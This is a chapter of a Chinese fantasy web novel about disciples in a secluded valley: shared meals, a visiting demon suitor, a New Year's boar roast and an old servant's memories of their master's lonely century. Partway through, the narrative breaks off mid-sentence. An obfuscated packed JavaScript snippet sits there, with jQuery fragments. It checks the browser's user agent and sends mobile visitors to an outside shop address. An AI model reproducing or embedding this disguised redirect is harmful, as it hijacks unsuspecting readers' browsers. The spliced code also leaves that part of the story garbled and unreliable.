几人出法阵的时候已经是午膳时分了,棠婶做的午膳通过“隔空移物”的法术送了过来。
虽然棠婶的手艺实在不怎么样,但他们经过一上午体力修为的耗费,实在是很饿了,只能坐下来,看孟夏把餐食一道道摆出来,陆微在旁边道:“来,让我们看看今日棠婶给我们准备了什么惊喜。”
孟夏一边把菜品搬出来,一边报菜名:“嗯···糊掉的萝卜一碗,没放调料的白烧肉一碗···”
凌云:“直接说哪道菜能吃吧,”
“米饭,还有前些日子教棠婶的那道卤鸡看起来不错,可以试试。”
陆微从似乎能吃的卤鸡里挑出一根头发:“你们猜这是棠婶还是石伯的···”
小五只看了一眼,就没了胃口,就地一躺。深绿的唐草纹宽袍大袖重重地压折了雪白的芦花,飞起的芦花在空中慢慢摇曳,直到飘落进游有鸬鹚的水中。
然后她开始说起他们几个上午在阵中的表现,想到一句说一句,尤其多夸了几句李玦。
李玦听着便忍不住笑道:“当年我学医时教我的老师说的话和你说的一模一样。”
小五一听却有些不高兴了:“怎么,大家都一样,所以你便不觉得被夸了有什么特别是嘛。”
“不是。”李玦真诚道,“那老师是很厉害的一位前辈,我很敬爱他,我想有大能者惜才之心都是一样的。”
这话还算好听,小五有些受用,微眯着眼笑了笑。
孟夏离小五近,便看到了她在芦花丛中笑得清浅动人,和她平时毒辣刁钻或是欺负人得逞的笑完全不一样。孟夏一时间便想,自己若有一日也像李玦一样在修炼时发展出自己的长处就好了,小五也会这样夸奖自己、因为自己笑。
远处有一个人顺着芦苇荡慢慢走过来,待看清了人影,发现是鹤一。他已经在这里待了半个多月了,最开始来那两天,鹤一被小五赶了几次。可七八天过去了,小五出谷办事,发现鹤一还在谷口的瀑布下,久久凝望着瀑布,不敢进进不去又不愿走。
小五心思一转把他带回了谷中:既然他说想看自己,就让他看。有些东西小五还没试过和魔物一起玩呢。
鹤一走到孟夏他们身边,一一见了礼,然后在小五身边蹲下,语气可谓温柔:“小五,我没法出谷,我怕我出了就进不来,所以教石伯怎么去谷外买了吃的,你要不要起来吃点?”
鹤一说着一挥手,孟夏他们面前有了好几道谷外的时兴菜,葫芦鸡、什锦鸭、清蒸桂鱼、莲蓬豆腐,不一而足。
孟夏几人目瞪口呆,小五则起身看了眼,并没有太多胃口。本来她一个仙人就不需要吃东西,在孟夏他们来琭琭谷之前她都没怎么尝过人间的味道,是孟夏和偶尔兴致来了的陆微让她突然有一天发现,吃东西这件事也可以算作美妙,但这不代表她爱上了这件纯粹消磨时间的事。不过,她虽然不爱,却知道有人是爱的。
于是小五对四个目瞪口呆的徒弟道:“这些都给你们吃吧。”然后以一种欲笑未笑的暧昧姿态看了眼鹤一,起身走了,鹤一忙跟了上去。
几人盯着她离去的背影,各人心思不一,面上也阴晴不定。唯有凌云此时哀叹:为什么不早来!他已经就着带头发的卤鸡和糊掉的萝卜吃完了一碗饭了。
鹤一没有待得很久,又过了两日便回去了,但从那之后,他隔两个月便会来一次,每次来之前都会提前飞信给小五,小五会带他入谷。
除此之外,谷中的岁月没有太大的变化,修炼之余,五个人就一起赌牌九,吃吃喝喝,谷中赏景。过年那段日子赌牌九赌得最厉害,偶尔夜里孟夏约好和小七一起睡,又想到白日和陆微他们约好了赌牌九,大半夜冻得哆嗦也要偷偷摸摸爬出去玩,每次第二天都要被小七好一通埋怨:冻死算谁的。
五个人围着火炉赌到天明,然后就地裹了毯子就搁那儿睡了。
谷中还有一个藤壶,他无处可去,自然只能留在谷中,闲暇时候孟夏也会把他拉起来和他们一起玩。但由于大多数时候他们都在修炼,所以藤壶是相对孤独的,只是和时常无事的小七往来比较密切。
秋去冬来,转眼谷中已到了第六个年关。
除夕那日,一早起来就开始下雪,孟夏一睁眼就见到天地白茫茫一片,窗台和瓦檐上积着晶莹的冰溜子。她欣喜地穿好衣裳下床:可以把去年初雪时埋在腊梅底下的一坛屠苏酒、一坛梅子香给取出来开坛了。
园子里的腊梅落了一树的雪,蜡黄的花瓣如同莹润的脂膏,香气在雪中扑簌,尤其清冽。孟夏过去时棠婶正在折枝准备插瓶,一回头见到孟夏,笑道:“孟大姑娘起了,我看崔小爷陆小爷一清早去外面带了只野猪回来,说是那野猪危害农户庄稼,便宰了带了回来,如今正在后院的亭中准备生火烤呢,孟大姑娘可去凑凑热闹?”
孟夏笑道:“那敢情好,我把这树下埋的酒挖了便去,正愁这酒不知用什么作配呢。”
几人果然在亭子里,连藤壶都在。孟夏拎着酒过去,几人忙将孟夏奉为上宾:这还得仰仗着孟夏将这野猪肉做了。
留在亭子石板上的是一扇百来斤的野猪,猪皮已被剥了干净,看着像是李玦的手法,去得干净且不沾任何骨肉,并将血水放了,野猪头、野猪脚、内脏等部位都去了,野猪不同家猪,这些部位腥臊味太重,很难处理,不如不吃。
孟夏另从陆微手中接过剔骨刀,在手上掂了掂,她那卖了她的亲爹还卖猪肉,她虽然不曾继承“家业”,但对猪身上哪块可吃哪块好吃哪块该怎么吃还是再清楚不过。野猪与家猪可吃的部位还是有些差别,野猪几乎没有什么肥肉,前腿前身比之后半部分更为健壮。
孟夏顺着猪腿来回划拉数刀,然后一刀将前腿肉斩下来,干脆利落,再如法炮制切割下其余三只。随即摊开猪腹,将野猪脊两刀一划,划出两条薄片。再将野猪腰划出来扔了,便剩了一个整猪架。
孟夏将野猪脊和野猪腿丢给陆微处理,自己去烤整猪。李玦将野猪的血水放得特别干净,去腥臊的难度也就小了许多。孟夏配了香料对其腌制。
腌制时间长,孟夏便先去帮凌云生火及准备酱料。
处理猪腿和猪脊这种细活陆微做得很漂亮,猪脊和猪腿被顺着纹理切出了鲜红透明的薄片,筒骨、肉片等各处用不同的食盘盛着,鲜红色的肉在白莹莹的盘中,赏心悦目。
几人一条龙下来,一条野猪就成了待食的佳肴。藤壶什么也不会,只好积极地给几位倒酒:“几位小爷和孟夏姐姐先暖暖身子。”
待都处理得差不多了,孟夏一边烤肉一边道:“把小五小七还有石伯棠婶他们都请来吧,光我们几个还是没意思。”
藤壶积极道:“我去请!”说着他便摇身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638088|205691||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
离了亭子。
片刻后,石伯棠婶和小七都来了。小五却没请到,说是正准备着要出谷,像是有什么要紧事,不到年夜饭时候大概是回不来了。
此时孟夏还在烤肉刷酱料,陆微笑盈盈地招呼石伯棠婶入座,凌云和小七一边吃着一个红彤彤的烤柿子一边说着什么,藤壶则在给孟夏帮忙。
李玦便想去看小五,他怕她有什么需要帮忙的,这么多人都在这里,落她一个李玦心里总空落落的。
李玦这么想着便和陆微他们打了招呼,果真起身走了。
孟夏端着烤肉回来的时候就发现李玦走了,还没及问呢,石伯已经抓住了她的胳膊。石伯在陆微的劝酒之下似乎喝多了,变得分外健谈:“你这丫头,别看我平时总罚你,我其实很看好你。虽然你比不上他们三个那么聪明吧,但是勤奋啊,那话叫什么来着,笨鸟先飞···对!就是这个,哎呦,当年东王公座下也有笨的徒弟呢,就现在天宫那个菩提仙人,当年也同你一样笨得出奇,但如今不也是万人敬仰的仙人。”
孟夏此时此刻也不知道石伯是醒的时候嘴更毒还是醉的时候嘴更毒了。
石伯打了个酒嗝,似乎意识到自己刚刚的话有几分不对,但他本来就是个古板的石头,没有人的脑子,歪着头想了半天也不过找了一句:“没事,你看你这肉烤的好啊,哈哈哈。”
棠婶把他身前的酒杯夺走:“少喝点吧,净说胡话。”
陆微给石伯棠婶各夹了块沾了调料的肉:“酒可以不喝,肉得多吃。”
石伯果真吃了一口,连连点头道:“我都几百年没吃过这样好的肉了,哎呦,你们棠婶记得,以前在昆仑山,小主子还没那桌子高的时候,我跟你们棠婶有一群好友,就像你们一样,时常一道吃肉喝酒,雪地里捕斑雀,过得那叫一个快活!”小主子是指的小五,石伯棠婶多数时候会叫“小五”或是“五丫头”,此时触及往事难免用了以前的称呼。
孟夏注意被吸了过去,不由问:“然后呢?”
“然后?哪有然后,各种各样的原因都散了,年纪大了,都有自己的选择,自然而然也就聚不到一起了,这些年也就只我和你们棠婶还一直在一处。”
孟夏道:“那也太可惜了。”
石伯:“这些年也没什么心思可惜这些事。当初主子仙逝,小主子独自远离昆仑山,我和你棠婶终究不放心跟了过来。在你们来之前,小主子在这谷中百年没说过超过十句的话,谷里静得厉害,我和你们棠婶看着小主子,心里也苦,渐渐就恢复到自己的原身了。直到你们过来,这琭琭谷才开始有了人气,我们也被唤醒了,有了事做,好得很,好得很啊。”
除了小七孟夏大概知道东王公去世、众姊妹被罚之事,其他人接触到的小五都带着毒辣的炽热,实在想不到她还有这样冷寂静默的时候。孟夏也是第一次听人说到小五在琭琭谷待的百年,她好奇道:“那这百年她在谷中做什么?”
石伯被问得像是突然酒醒了,不再呈现醉酒的浑沌之态,他苍老的皱纹上慢慢爬过可称为惊叹与哀伤的东西:“她偶尔会出去,但绝大多数时候都在修炼,无休无止地修炼。我这辈子都没见过比小主子更仙魂奇骨的生灵,学什么会什么。我也没见过比她更痴迷此道,更不要命的,她对拥有绝世神通的渴望和依赖就像树啊草啊的对水的渴望一样,极度深刻。”